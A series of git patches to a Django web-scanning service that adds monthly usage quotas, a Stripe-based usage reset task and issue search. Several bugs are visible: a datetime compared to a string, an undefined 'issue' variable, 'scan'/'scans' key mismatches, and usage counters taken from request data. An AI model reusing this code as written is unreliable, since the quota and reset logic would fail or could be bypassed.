 from django.contrib.auth.models import User
 from django.utils import timezone
@@ -1050,6 +1051,26 @@ def create_testcase_bg(
 
 
 
+@shared_task
+def reset_account_usage_bg(account_id: str=None):
+    """ 
+    Loops through each active `Account`, checks to see
+    if timezone.today() is the start of the 
+    next billing cycle, and resets `Account.usage`
+
+    Expcets: {
+        'account_id': <str> (OPTIONAL)
+    }
+
+    Returns: None
+    """
+    # running method from billing.services
+    reset_account_usage(account_id)
+    return None
+
+
+
+
 @shared_task
 def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     """ 
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 9d9815a8..6daf0efb 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -83,7 +83,7 @@ class Meta:
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
         'max_pages', 'max_schedules', 'testcases', 'retention_days',
-        'configs', 'meta'
+        'configs', 'meta', 'usage',
         ]
 
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 2cac5907..1512eb9d 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -627,6 +627,12 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
         price_id = request.data.get('price_id')
+        scans_allowed = request.data.get('scans_allowed')
+        tests_allowed = request.data.get('tests_allowed')
+        testcases_allowed = request.data.get('testcases_allowed')
+        scans = request.data.get('scans')
+        tests = request.data.get('tests')
+        testcases = request.data.get('testcases')
         slack = request.data.get('slack')
         configs = request.data.get('configs')
         user = request.user
@@ -648,6 +654,12 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
         price_id = kwargs.get('price_id')
+        scans_allowed = kwargs.get('scans_allowed')
+        tests_allowed = kwargs.get('tests_allowed')
+        testcases_allowed = kwargs.get('testcases_allowed')
+        scans = kwargs.get('scans')
+        tests = kwargs.get('tests')
+        testcases = kwargs.get('testcases')
         slack = kwargs.get('slack')
         configs = kwargs.get('configs')
         user_id = kwargs.get('user')
@@ -690,6 +702,18 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.product_id = product_id
         if price_id is not None:
             account.price_id = price_id
+        if scans_allowed is not None:
+            account.usage['scans_allowed'] = scans_allowed
+        if tests_allowed is not None:
+            account.usage['tests_allowed'] = tests_allowed
+        if testcases_allowed is not None:
+            account.usage['testcases_allowed'] = testcases_allowed
+        if scans is not None:
+            account.usage['scans'] = scans
+        if tests is not None:
+            account.usage['tests'] = tests
+        if testcases is not None:
+            account.usage['testcases'] = testcases
         if slack is not None:
             account.slack = slack
         if configs is not None:
@@ -721,7 +745,15 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             cust_id=cust_id,
             sub_id=sub_id,
             product_id=product_id,
-            price_id=price_id
+            price_id=price_id,
+            usage={
+                'scans': 0,
+                'tests': 0,
+                'testcases': 0,
+                'scans_allowed': scans_allowed if scans_allowed is not None else 30, 
+                'tests_allowed': tests_allowed if tests_allowed is not None else 30, 
+                'testcases_allowed': testcases_allowed if testcases_allowed is not None else 15,
+            },
         )
     
     # serialize and return
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index cc800fc9..0364d8d9 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -2,6 +2,7 @@
 from rest_framework import status
 from django.contrib.auth.models import User
 from django.core import serializers
+from datetime import date, datetime
 from ...models import Account, Card, Site
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
@@ -14,6 +15,7 @@
 
 
 
+
 # init Stripe client
 stripe.api_key = settings.STRIPE_PRIVATE
 
@@ -27,15 +29,18 @@ def stripe_setup(request: object) -> object:
     "user" and `Account`
 
     Expects: {
-        'name'           : <str> 'basic', 'pro', 'plus', 'custom' (OPTIONAL)
-        'interval'       : <str> 'month' or 'year' (OPTIONAL)
-        'price_amount'   : <int> 1000 == $10 (OPTIONAL)
-        'max_sites'      : <int> total # `Sites` per `Account` (OPTIONAL)
-        'max_pages'      : <int> total # `Pages` per `Site` (OPTIONAL)
-        'max_schedules'  : <int> total # `Schedules` per `Account` (OPTIONAL)
-        'retention_days' : <int> total # days to keep data (OPTIONAL)
-        'testcases'      : <str> 'true' or 'false' (OPTIONAL)
-        'meta'           : <dict> any extra data for the account (OPTIONAL)
+        'name'              : <str> 'basic', 'pro', 'plus', 'custom' (REQUIRED)
+        'interval'          : <str> 'month' or 'year' (REQUIRED)
+        'price_amount'      : <int> 1000 == $10 (REQUIRED)
+        'max_sites'         : <int> total # `Sites` per `Account` (REQUIRED)
+        'max_pages'         : <int> total # `Pages` per `Site` (REQUIRED)
+        'max_schedules'     : <int> total # `Schedules` per `Account` (REQUIRED)
+        'retention_days'    : <int> total # days to keep data (REQUIRED)
+        'testcases'         : <str> 'true' or 'false' (OPTIONAL)
+        'scans_allowed'     : <int> total # of `Scans` per `Account` per month (OPTIONAL)
+        'tests_allowed'     : <int> total # of `Tests` per `Account` per month (OPTIONAL)
+        'testcases_allowed' : <int> total # of `Testcases` per `Account` per month (OPTIONAL)
+        'meta'              : <dict> any extra data for the account (OPTIONAL)
     }
     
     Returns -> data: {
@@ -53,6 +58,9 @@ def stripe_setup(request: object) -> object:
     max_schedules = int(request.data.get('max_schedules'))
     retention_days = int(request.data.get('retention_days'))
     testcases = str(request.data.get('testcases', 'False'))
+    scans_allowed = int(request.data.get('scans_allowed'))
+    tests_allowed = int(request.data.get('tests_allowed'))
+    testcases_allowed = int(request.data.get('testcases_allowed'))
     meta = request.data.get('meta')
     
     # get user
@@ -82,6 +90,14 @@ def stripe_setup(request: object) -> object:
             max_schedules=max_schedules,
             retention_days=retention_days,
             testcases=testcases, 
+            usage={
+                'scans': 0,
+                'tests': 0,
+                'testcases': 0,
+                'scans_allowed': scans_allowed if scans_allowed is not None else 30, 
+                'tests_allowed': tests_allowed if tests_allowed is not None else 30, 
+                'testcases_allowed': testcases_allowed if testcases_allowed is not None else 15,
+            },
             meta=meta
         )
 
@@ -142,7 +158,8 @@ def stripe_setup(request: object) -> object:
         stripe.Price.modify(account.price_id, active=False)
 
     # update `Account` with new Stripe info
-    Account.objects.filter(user=user).update(
+    create_or_update_account(
+        id=account.id,
         type = name,
         cust_id = customer.id,
         sub_id = subscription.id,
@@ -155,6 +172,9 @@ def stripe_setup(request: object) -> object:
         max_schedules = max_schedules,
         retention_days = retention_days,
         testcases = testcases,
+        scans_allowed = scans_allowed,
+        tests_allowed = tests_allowed,
+        testcases_allowed = testcases_allowed,
         meta = meta
     )        
 
@@ -392,6 +412,14 @@ def cancel_subscription(request: object) -> object:
         account.interval = 'month'
         account.price_amount = 0
         account.testcases = False
+        account.usage = {
+            'scans': 0,
+            'tests': 0,
+            'testcases': 0,
+            'scans_allowed': 30, 
+            'tests_allowed': 30, 
+            'testcases_allowed': 15,
+        }
 
         # save Account
         account.save()
@@ -460,3 +488,60 @@ def get_stripe_invoices(request: object) -> object:
 
 
 
+
+def reset_account_usage(account_id: str=None) -> None:
+    """ 
+    Loops through each active `Account`, checks to see
+    if timezone.today() is the start of the 
+    next billing cycle, and resets `Account.usage`
+
+    Expcets: {
+        'account_id': <str> (OPTIONAL)
+    }
+
+    Returns: None
+    """
+
+    # check for account_id
+    if account_id is not None:
+        accounts = [Account.objects.get(id=account_id)]
+    else:
+        # get all active accounts
+        accounts = Account.objects.filter(active=True)
+
+    # loop through each
+    for account in accounts:
+
+        # check if account is active and not free
+        if account.active and account.type != 'free':
+                
+            # get current date
+            today = datetime.today().strftime('%Y-%m-%d')
+            print(f'today -> {today}')
+
+            # get stripe sub
+            sub = stripe.Subscription.retrieve(
+                account.sub_id
+            )
+
+            # get and formate sub.current_peroid_start
+            sub_date = datetime.fromtimestamp(
+                sub.current_peroid_start
+            ).strftime('%Y-%m-%d')
+            print(f'sub_date -> {today}')
+
+            # reset accout usage if today is 
+            # begining of sub payment peroid
+            if today == sub_date:
+                
+                # reset account.ussage
+                create_or_update_account(
+                    id=account.id,
+                    scans=0,
+                    tests=0,
+                    testcases=0
+                )
+
+    return None
+
+
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 3098aacd..ccd5fdb0 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -72,12 +72,13 @@ def check_account_and_resource(
         request: object=None, 
         user: object=None, 
         resource: str=None, 
-        action: str=None,
+        action: str='get',
         **kwargs
     ) -> dict:
     """ 
     Based on the passed "resource" & kwargs, checks to see 
-    if account is allowed to add/get a "resource".
+    if account is allowed to add/get a "resource". 
+    Also increments the `Account.usage` for the specified resource.
 
     Expects: {
         'request'   : object, 
@@ -158,7 +159,7 @@ def check_account_and_resource(
                         current_count = Page.objects.filter(account=account, site__id=site_id).count()
                         if current_count >= account.max_pages and action == 'add':
                             allowed = False
-                            error = 'max pages reached, please upgrade'
+                            error = 'max pages reached'
                             _status = status.HTTP_402_PAYMENT_REQUIRED
                             code = '402'
             if page_id:
@@ -178,9 +179,9 @@ def check_account_and_resource(
         if resource == 'site':
             if not site_id:
                 current_count = Site.objects.filter(account=account).count()
-                if current_count >= account.max_sites and action == 'add':
+                if current_count >= account.max_sites and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
                     allowed = False
-                    error = 'max sites reached, please upgrade'
+                    error = 'max sites reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
                     code = '402'
             if site_id:
@@ -200,9 +201,9 @@ def check_account_and_resource(
         if resource == 'schedule':
             if not schedule_id:
                 current_count = Schedule.objects.filter(account=account).count()
-                if current_count >= account.max_schedules and action == 'add':
+                if current_count >= account.max_schedules and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
                     allowed = False
-                    error = 'max schedules reached, please upgrade'
+                    error = 'max schedules reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
                     code = '402'
                 if page_id:
@@ -247,12 +248,18 @@ def check_account_and_resource(
         
         # checking testcases
         if resource == 'testcase':
-            if not testcase_id:
+            if not testcase_id and action == 'add':
                 if not account.testcases:
                     allowed = False
                     error = 'testcases not allowed, please upgrade'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
                     code = '402'
+                else:
+                    if not check_and_increment_resource(account, 'testcases'):
+                        allowed = False
+                        error = 'max testcases reached'
+                        _status = status.HTTP_402_PAYMENT_REQUIRED
+                        code = '402'
             if testcase_id:
                 if not Testcase.objects.filter(id=testcase_id, account=account).exists():
                     allowed = False
@@ -310,6 +317,12 @@ def check_account_and_resource(
         
         # checking scans
         if resource == 'scan':
+            if not scan_id and action == 'add':
+                if not check_and_increment_resource(account, 'scan'):
+                    allowed = False
+                    error = 'max scans reached'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
             if scan_id:
                 if not Scan.objects.filter(id=scan_id, page__account=account).exists():
                     allowed = False
@@ -319,6 +332,12 @@ def check_account_and_resource(
         
         # checking tests
         if resource == 'test':
+            if not test_id and action == 'add':
+                if not check_and_increment_resource(account, 'test'):
+                    allowed = False
+                    error = 'max tests reached'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
             if test_id:
                 if not Test.objects.filter(id=test_id, page__account=account).exists():
                     allowed = False
@@ -370,6 +389,36 @@ def check_account_and_resource(
 
 
 
+
+    def check_and_increment_resource(account: object, resource: str) -> bool:
+        """ 
+        Adds 1 to the Account.usage.{resource} if 
+        {resource}_allowed has not been reached.
+
+        Expcets: {
+            'account'  : <object>,
+            'resource' : <str> 'scan', 'test', or 'testcase
+        }
+
+        Returns: Bool, True if resource was incremented.
+        """
+
+        # define defaults
+        success = False
+
+        # check allowance
+        if (int(account.usage[resource]) + 1) <= int(account.usage[f'{resource}s_allowed']):
+            
+            # increment and update success
+            account.usage[resource] = 1 + int(account.usage[resource])
+            account.save()
+            success = True
+
+        # return response
+        return success
+
+
+
     
 ### ------ Begin Site Services ------ ###
 
@@ -1382,7 +1431,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     # deciding on scope
     resource = 'site' if site_id else 'page'
 
-    # check account and resource 
+    # check account and resource for site or page
     check_data = check_account_and_resource(
         user=user, resource=resource, page_id=page_id, site_id=site_id
     )
@@ -1416,6 +1465,22 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     # looping through each page
     for p in pages:
 
+        # check for account usage
+        check_data = check_account_and_resource(
+            user=user, action='add', resource='scan'
+        )
+        if not check_data['allowed']:
+            data = {
+                'reason': check_data['error'], 
+                'success': False, 
+                'code': check_data['code'], 
+                'status': check_data['status']
+            }
+            if request is not None:
+                record_api_call(request, data, check_data['code'])
+                return Response(data, status=check_data['status'])
+            return data
+
         # creating scan obj
         created_scan = Scan.objects.create(
             site=p.site,
@@ -1971,7 +2036,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # deciding on scope
     resource = 'site' if site_id else 'page'
 
-    # check account and resource 
+    # check account and resource for page or site
     check_data = check_account_and_resource(
         user=user, resource=resource, page_id=page_id, site_id=site_id
     )
@@ -2005,6 +2070,22 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # looping through pages
     for p in pages:
 
+        # check for account usage
+        check_data = check_account_and_resource(
+            user=user, action='add', resource='test'
+        )
+        if not check_data['allowed']:
+            data = {
+                'reason': check_data['error'], 
+                'success': False, 
+                'code': check_data['code'], 
+                'status': check_data['status']
+            }
+            if request is not None:
+                record_api_call(request, data, check_data['code'])
+                return Response(data, status=check_data['status'])
+            return data
+
         # checking for scan completion
         if not Scan.objects.filter(page=p).exists():
             data = {'reason': 'Page not yet onboarded', 'success': False,}
@@ -4432,7 +4513,7 @@ def create_testcase(request: object, delay: bool=False) -> object:
     # checking account and resource 
     check_data = check_account_and_resource(
         request=request, resource='testcase', 
-        case_id=case_id, site_id=site_id
+        case_id=case_id, site_id=site_id, action='add',
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4941,7 +5022,7 @@ def search_resources(request: object) -> object:
     pages = []
     sites = []
 
-    # check for object specification i.e 'site: or case:'
+    # check for object specification i.e 'site:', 'case:', 'issue:'
     resource_type = query.replace('https://', '').replace('http://', '').split(':')[0]
     query = query.replace('https://', '').replace('http://', '').split(':')[-1]
 
@@ -4963,9 +5044,16 @@ def search_resources(request: object) -> object:
             name__icontains=query
         )
 
-    # adding first 5 sites if present
+    # search for issues
+    if resource_type == 'issue' or resource_type == query:
+        issues = Issue.objects.filter(account=account).filter(
+            name__icontains=query
+        )
+
+    # adding first several sites if present
     i = 0
-    while i <= 3 and i <= (len(sites)-1):
+    max_sites = 10 if resource_type == 'site' else 3
+    while i <= max_sites and i <= (len(sites)-1):
         data.append({
             'name': str(sites[i].site_url),
             'path': f'/site/{sites[i].id}',
@@ -4974,9 +5062,10 @@ def search_resources(request: object) -> object:
         })
         i+=1
     
-    # adding first 5 pages if present
+    # adding first several pages if present
     i = 0
-    while i <= 4 and i <= (len(pages)-1):
+    max_pages = 10 if resource_type == 'page' else 3
+    while i <= max_pages and i <= (len(pages)-1):
         data.append({
             'name': str(pages[i].page_url),
             'path': f'/page/{pages[i].id}',
@@ -4985,9 +5074,10 @@ def search_resources(request: object) -> object:
         })
         i+=1
     
-    # adding first 5 cases if present
+    # adding first several cases if present
     i = 0
-    while i <= 4 and i <= (len(cases)-1):
+    max_cases = 10 if resource_type == 'case' else 3
+    while i <= max_cases and i <= (len(cases)-1):
         data.append({
             'name': str(cases[i].name),
             'path': f'/case/{cases[i].id}',
@@ -4996,6 +5086,18 @@ def search_resources(request: object) -> object:
         })
         i+=1
     
+    # adding first several issues if present
+    i = 0
+    max_issues = 10 if resource_type == 'issue' else 3
+    while i <= max_issues and i <= (len(issues)-1):
+        data.append({
+            'name': str(issues[i].title),
+            'path': f'/issue/{issue[i].id}',
+            'id'  : str(issues[i].id),
+            'type': 'issue',
+        })
+        i+=1
+    
     # return response
     response = Response(data, status=status.HTTP_200_OK)
     return response

From 18acd3359a0949d2ef3100177a9236fdba578dfc Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 9 Aug 2024 14:44:45 -0600
Subject: [PATCH 639/752] updating billing and usage data

---
 app/api/models.py              |   2 +-
 app/api/tasks.py               | 224 ++++++++++++++++++++++++---------
 app/api/v1/auth/serializers.py |   4 +-
 app/api/v1/auth/services.py    |  10 +-
 app/api/v1/billing/services.py |  82 +++---------
 app/api/v1/ops/services.py     | 181 +++++++++++++++-----------
 6 files changed, 307 insertions(+), 196 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 5d6f6312..df81e99f 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -285,9 +285,9 @@ class Account(models.Model):
     max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3)
     max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=0)
     retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3)
-    testcases = models.BooleanField(default=False, serialize=False)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    sub_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index b56fe628..a0e34f9d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -14,13 +14,12 @@
     _yellowlab
 )
 from .utils.alerts import send_invite_link, send_remove_alert
-from .v1.billing.services import reset_account_usage
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
 from datetime import datetime, timedelta
 from scanerr import settings
-import asyncio, boto3, time, requests, json
+import asyncio, boto3, time, requests, json, stripe
 
 
 
@@ -55,6 +54,36 @@ class BaseTaskWithRetry(Task):
 
 
 
+def check_and_increment_resource(account: object, resource: str) -> bool:
+    """ 
+    Adds 1 to the Account.usage.{resource} if 
+    {resource}_allowed has not been reached.
+
+    Expcets: {
+        'account'  : <object>,
+        'resource' : <str> 'scan', 'test', or 'testcase
+    }
+
+    Returns: Bool, True if resource was incremented.
+    """
+
+    # define defaults
+    success = False
+
+    # check allowance
+    if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']):
+        
+        # increment and update success
+        account.usage[f'{resource}'] = 1 + int(account.usage[f'{resource}'])
+        account.save()
+        success = True
+
+    # return response
+    return success
+
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None:
     """ 
@@ -89,25 +118,28 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
                 user=site.user,
                 account=site.account,
             )
-            
-            # create initial scan
-            scan = Scan.objects.create(
-                site=site,
-                page=page, 
-                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-                configs=configs
-            )
-            
-            # run each scan component in parallel
-            run_html_and_logs_bg.delay(scan_id=scan.id)
-            run_lighthouse_bg.delay(scan_id=scan.id)
-            run_yellowlab_bg.delay(scan_id=scan.id)
-            run_vrt_bg.delay(scan_id=scan.id)
-            
-            # update page info 
-            page.info["latest_scan"]["id"] = str(scan.id)
-            page.info["latest_scan"]["time_created"] = str(scan.time_created)
-            page.save()
+
+            # check resouce allowance
+            if check_and_increment_resource(site.account, 'scans'):
+
+                # create initial scan
+                scan = Scan.objects.create(
+                    site=site,
+                    page=page, 
+                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    configs=configs
+                )
+                
+                # run each scan component in parallel
+                run_html_and_logs_bg.delay(scan_id=scan.id)
+                run_lighthouse_bg.delay(scan_id=scan.id)
+                run_yellowlab_bg.delay(scan_id=scan.id)
+                run_vrt_bg.delay(scan_id=scan.id)
+                
+                # update page info 
+                page.info["latest_scan"]["id"] = str(scan.id)
+                page.info["latest_scan"]["time_created"] = str(scan.time_created)
+                page.save()
 
     # updating site status
     site.time_crawl_completed = timezone.now()
@@ -166,21 +198,25 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
                 user=site.user,
                 account=site.account,
             )
-            # create initial scan
-            scan = Scan.objects.create(
-                site=site,
-                page=page, 
-                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-                configs=configs
-            )
-            # run each scan component in parallel
-            run_html_and_logs_bg.delay(scan_id=scan.id)
-            run_lighthouse_bg.delay(scan_id=scan.id)
-            run_yellowlab_bg.delay(scan_id=scan.id)
-            run_vrt_bg.delay(scan_id=scan.id)
-            page.info["latest_scan"]["id"] = str(scan.id)
-            page.info["latest_scan"]["time_created"] = str(scan.time_created)
-            page.save()
+
+            # check resouce allowance
+            if check_and_increment_resource(site.account, 'scans'):
+
+                # create initial scan
+                scan = Scan.objects.create(
+                    site=site,
+                    page=page, 
+                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    configs=configs
+                )
+                # run each scan component in parallel
+                run_html_and_logs_bg.delay(scan_id=scan.id)
+                run_lighthouse_bg.delay(scan_id=scan.id)
+                run_yellowlab_bg.delay(scan_id=scan.id)
+                run_vrt_bg.delay(scan_id=scan.id)
+                page.info["latest_scan"]["id"] = str(scan.id)
+                page.info["latest_scan"]["time_created"] = str(scan.time_created)
+                page.save()
 
     # updating site status
     site.time_crawl_completed = timezone.now()
@@ -321,13 +357,16 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
     # creating scans for each page
     for page in pages:
-        create_scan.delay(
-            page_id=page.id,
-            type=type,
-            configs=configs,
-            tags=tags,
-            automation_id=automation_id
-        )
+
+        # check resource 
+        if check_and_increment_resource(page.account, 'scans'):
+            create_scan.delay(
+                page_id=page.id,
+                type=type,
+                configs=configs,
+                tags=tags,
+                automation_id=automation_id
+            )
     
     logger.info('created new Scans')
     return None
@@ -593,16 +632,21 @@ def create_test_bg(self, *args, **kwargs) -> None:
 
         # create a test for each page
         for page in pages:
-            create_test.delay(
-                page_id=page.id,
-                type=type,
-                configs=configs,
-                tags=tags,
-                threshold=float(threshold),
-                pre_scan=pre_scan,
-                post_scan=post_scan,
-                automation_id=automation_id
-            )
+
+            # check resource 
+            if check_and_increment_resource(page.account, 'tests'):
+
+                # create test
+                create_test.delay(
+                    page_id=page.id,
+                    type=type,
+                    configs=configs,
+                    tags=tags,
+                    threshold=float(threshold),
+                    pre_scan=pre_scan,
+                    post_scan=post_scan,
+                    automation_id=automation_id
+                )
     
     # get test and run 
     if test_id is not None:
@@ -1052,7 +1096,7 @@ def create_testcase_bg(
 
 
 @shared_task
-def reset_account_usage_bg(account_id: str=None):
+def reset_account_usage(account_id: str=None) -> None:
     """ 
     Loops through each active `Account`, checks to see
     if timezone.today() is the start of the 
@@ -1064,13 +1108,81 @@ def reset_account_usage_bg(account_id: str=None):
 
     Returns: None
     """
-    # running method from billing.services
-    reset_account_usage(account_id)
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
+    # check for account_id
+    if account_id is not None:
+        accounts = [Account.objects.get(id=account_id)]
+    else:
+        # get all active accounts
+        accounts = Account.objects.filter(active=True)
+
+    # get current date
+    today = datetime.today()
+    today_str = today.strftime('%Y-%m-%d')
+    print(f'today -> {today_str}')
+
+    # reset account.ussage
+    def reset_usage(account):
+        account.usage['scans'] = 0
+        account.usage['tests'] = 0
+        account.usage['testcases'] = 0
+        account.save()
+
+    # loop through each
+    for account in accounts:
+
+        # check if account is active and not free
+        if account.active and account.type != 'free':
+                
+            # get stripe sub
+            sub = stripe.Subscription.retrieve(
+                account.sub_id
+            )
+
+            # get and formate sub.current_peroid_start
+            sub_date = datetime.fromtimestamp(
+                sub.current_peroid_start
+            ).strftime('%Y-%m-%d')
+            print(f'sub_date -> {sub_date}')
+
+            # reset accout usage if today is 
+            # begining of sub payment peroid
+            # OR if a specific account was requested
+            if today == sub_date or account_id is not None:
+                reset_usage(account)
+
+        # check if accout is free
+        if account.type == 'free':
+
+            # get last usage reset date from meta
+            last_usage_date_str = account.meta.get('last_usage_reset')
+            if last_usage_date_str is not None:
+
+                # format date str as datetime obj
+                f = '%Y-%m-%d %H:%M:%S'
+                last_usage_date = datetime.strptime(last_usage_date_str, f)
+
+                print(f'days since last reset -> {abs(today - last_usage_date)}')
+
+                # check if over 30 days
+                if abs(today - last_usage_date) >= 30:
+                    reset_usage(account)
+
+                # udpate account.meta.last_usage_reset
+                account.meta['last_usage_reset'] = today.strftime(f)
+                account.save()
+    
     return None
 
 
 
 
+
+
+
 @shared_task
 def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     """ 
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 6daf0efb..0dddbb2e 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -80,9 +80,9 @@ class AccountSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Account
         fields = ['id', 'active', 'time_created', 'type', 'phone', 
-        'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
+        'cust_id', 'sub_id', 'sub_url', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
-        'max_pages', 'max_schedules', 'testcases', 'retention_days',
+        'max_pages', 'max_schedules', 'retention_days',
         'configs', 'meta', 'usage',
         ]
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 1512eb9d..5bdc2e44 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -622,7 +622,6 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         max_pages = request.data.get('max_pages')
         max_schedules = request.data.get('max_schedules')
         retention_days = request.data.get('retention_days')
-        testcases = request.data.get('testcases')
         cust_id = request.data.get('cust_id')
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
@@ -635,6 +634,7 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         testcases = request.data.get('testcases')
         slack = request.data.get('slack')
         configs = request.data.get('configs')
+        meta = request.data.get('meta')
         user = request.user
 
     # get kwargs data
@@ -649,7 +649,6 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         max_pages = kwargs.get('max_pages')
         max_schedules = kwargs.get('max_schedules')
         retention_days = kwargs.get('retention_days')
-        testcases = kwargs.get('testcases')
         cust_id = kwargs.get('cust_id')
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
@@ -662,6 +661,7 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         testcases = kwargs.get('testcases')
         slack = kwargs.get('slack')
         configs = kwargs.get('configs')
+        meta = kwargs.get('meta')
         user_id = kwargs.get('user')
         user = User.objects.get(id=user_id)
 
@@ -692,8 +692,6 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.max_schedules = max_schedules
         if retention_days is not None:
             account.retention_days = retention_days
-        if testcases is not None:
-            account.testcases = testcases
         if cust_id is not None:
             account.cust_id = cust_id
         if sub_id is not None:
@@ -718,6 +716,8 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.slack = slack
         if configs is not None:
             account.configs = configs
+        if meta is not None:
+            account.meta = meta
         
         # saving updated info
         account.save()
@@ -741,11 +741,11 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             max_pages=max_pages,
             max_schedules=max_schedules if max_schedules is not None else 0,
             retention_days=retention_days if retention_days is not None else 14,
-            testcases=testcases if testcases is not None else False,
             cust_id=cust_id,
             sub_id=sub_id,
             product_id=product_id,
             price_id=price_id,
+            meta=meta,
             usage={
                 'scans': 0,
                 'tests': 0,
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 0364d8d9..1bd7b803 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -3,7 +3,7 @@
 from django.contrib.auth.models import User
 from django.core import serializers
 from datetime import date, datetime
-from ...models import Account, Card, Site
+from ...models import Account, Card, Site, Issue
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
 from ..auth.serializers import AccountSerializer
@@ -159,6 +159,7 @@ def stripe_setup(request: object) -> object:
 
     # update `Account` with new Stripe info
     create_or_update_account(
+        user=user.id,
         id=account.id,
         type = name,
         cust_id = customer.id,
@@ -319,8 +320,9 @@ def get_billing_info(request: object) -> object:
             'max_pages': account.max_pages,
             'max_schedules': account.max_schedules,
             'retention_days': account.retention_days,
-            'testcases': account.testcases,
-            'meta': account.meta
+            'usage': account.usage,
+            'meta': account.meta,
+            'sub_url': account.sub_url
         },
     }
     
@@ -377,6 +379,7 @@ def account_activation(request: object) -> object:
 
 
 
+
 def cancel_subscription(request: object) -> object:
     """ 
     Cancels the Stripe Subscription associated with the
@@ -411,7 +414,11 @@ def cancel_subscription(request: object) -> object:
         account.retention_days = '3'
         account.interval = 'month'
         account.price_amount = 0
-        account.testcases = False
+        account.cust_id = None
+        account.sub_id = None
+        account.product_id = None
+        account.price_id = None
+        account.price_amount = None
         account.usage = {
             'scans': 0,
             'tests': 0,
@@ -423,11 +430,20 @@ def cancel_subscription(request: object) -> object:
 
         # save Account
         account.save()
+
+        # update user's card
+        card = Card.objects.get(account=account)
+        card.delete()
     
     # remove sites
     sites = Site.objects.filter(account=account)
     for site in sites:
         delete_site(request=request, id=site.id)
+    
+    # remove issues
+    issues = Issue.objects.filter(account=account)
+    for issue in issues:
+        issue.delete()
